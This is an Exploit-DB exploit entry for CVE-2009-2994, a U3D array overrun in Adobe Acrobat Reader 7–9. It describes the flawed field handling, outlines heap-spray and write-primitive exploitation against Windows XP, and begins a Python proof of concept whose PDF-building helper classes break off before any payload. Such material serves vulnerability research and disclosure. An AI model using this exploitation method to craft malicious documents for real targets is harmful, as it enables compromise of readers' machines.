Exploit-DB #9865
Description: Adobe Acrobat Reader 7 < 9 - U3D Buffer Overflow
Type: local
Platform: windows
Date: 2009-10-27
Author: Felipe Andres Manzano

Exploit:
##Copyright (c) 2009, Felipe Andres Manzano <felipe.andres.manzano@gmail.com>
##All rights reserved.
##
##Redistribution and use in source and binary forms, with or without
##modification, are permitted provided that the following conditions are met:
##    * Redistributions of source code must retain the above copyright
##      notice, this list of conditions and the following disclaimer.
##    * Redistributions in binary form must reproduce the above copyright
##      notice, this list of conditions and the following disclaimer in the
##      documentation and/or other materials provided with the distribution.
##    * Neither the name of the Felipe Andres Manzano nor the
##      names of its contributors may be used to endorse or promote products
##      derived from this software without specific prior written permission.
##
##THIS SOFTWARE IS PROVIDED BY Felipe Andres Manzano ''AS IS'' AND ANY
##EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
##WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
##DISCLAIMED. IN NO EVENT SHALL <copyright holder> BE LIABLE FOR ANY
##DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
##(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
##LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
##ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
##(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
##SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

##########################################################################
####   Felipe Andres Manzano * felipe.andres.manzano@gmail.com        ####
##########################################################################
_doc_ = '''
Title: U3D CLODProgressiveMeshDeclaration initialization array overrun.
Product: Adobe Acrobat Reader (also Right Hemisphere Deep Exploration and others)
Version: 7.x, 8.x, 9.x
Product Homepage: www.adobe.com 
Binary affected: */cygdrive/c/Program Files/Adobe/Reader 9.0/Reader/plug_ins3d/3difr.x3d
Binary Version: Adobe Reader 9.1.3
Binary MD5: 3c9b7a410047cbf5edcd229b0f0f62a5 
CVE: CVE-2009-2994

Configuration Requirements
-----------------------------------------
Default

Vulnerability Requirements
-----------------------------------------
None

Vulnerability Description
-----------------------------------------
Universal 3D (U3D) is a compressed file format standard for 3D computer
graphics data. 
Right Hemisphere has plugged funtionality for managing this format in a
bunch of their products. Also since version 7 Acrobat Reader is shipped
with a default plugin that supports this format as a form of interactive
annotation for PDFs.
Apparently, Adobe's provider of this technology is RH...

 grep -R "Right Hemisphere" /opt/Adobe/
 Binary file /opt/Adobe/Reader8/Reader/intellinux/plug_ins3d/3difr.x3d matches


When U3D CLODMeshDeclaration (blocktype: 0xFFFFFF31) is parsed by Adobe
Acrobat Reader, the U3D plugin will read two unvalidated 32 bit
integers, N and M. N is the length of an array of 20 bytes long
structures. But, M structures of that fresh array will be processed
taking uninitialized pointers from memory and writing arbitrary values
to the memory pointed by them.

More preciselly, in the U3D file the CLODMeshDeclaration box the
*positionCount* field (see #9.6.1.1.3.3) defines the length of the array
and the field *minimalResolution* determines how much of the array is
procesed. As stated before, if *minimalResolution*  happens to be bigger than
*positionCount* then uninitialized off limits structures will be procesed. 



Explotation:
============
        *** Standalone and activeX reader tested in XPSP3 ***

As we control the size of the over-used array and how much we'll overuse
it, an outline of the exploitation may have this form...

- Choose a convenient not heavily used size for the array like 6500x20
- Spray the mem with a lot of 6500x20 controled chunks
- Free one of those in the middle so we have some amount of confidence 
  that the freed chunk will be followed by controled data.
- Control the data following the array that will be overrunned and the 
  dereferenced structure.
- Use the normal program behavior that takes pointers and data from the
  now controled structure and make the write4bytes primitive.
- Use the write4bytes primitive and some more spray to do the print trick(tm)

Much more detailed doc inlined in the PoC...

Note:
Same bug was confirmed in RH Deep Exploration 5.5 (CAD Edition).
Other products from the firm may be affected. Notably this may affect
their free 3d viewer that enable the publishing of embedded 3d models
into MS Office products.

REFERENCES
==========
http://en.wikipedia.org/wiki/Universal_3D
http://www.ecma-international.org/publications/files/ECMA-ST/ECMA-363%204th%20edition.pdf
http://www.adobe.com/devnet/acrobat3d/pdfs/U3DElements.pdf  
http://www.ucon-conference.org/materials/2009/HackingPDFReaders-uCon-2009.pdf

Vulnerability WorkAround (if possible)
-----------------------------------------
For adobe bug.. delete the plugin.


'''

import os
import zlib
import sys
import struct

#For constructing a minimal pdf file
class PDFObject:
    def __init__(self):
        self.n=None
        self.v=None

    def __str__(self):
        raise "Fail"

class PDFStream(PDFObject):
    def __init__(self, dict,stream):
        PDFObject.__init__(self)
        dict.add('Length', len(stream))
        self.dict=dict
        self.stream=stream

    def __str__(self):
        s=""
        s+=self.dict.__str__()
        s+="\nstream\n"
        s+=self.stream
        s+="\nendstream"
        return s

class PDFArray(PDFObject):
    def __init__(self,s):
        PDFObject.__init__(self)
        self.s=s
    def __str__(self):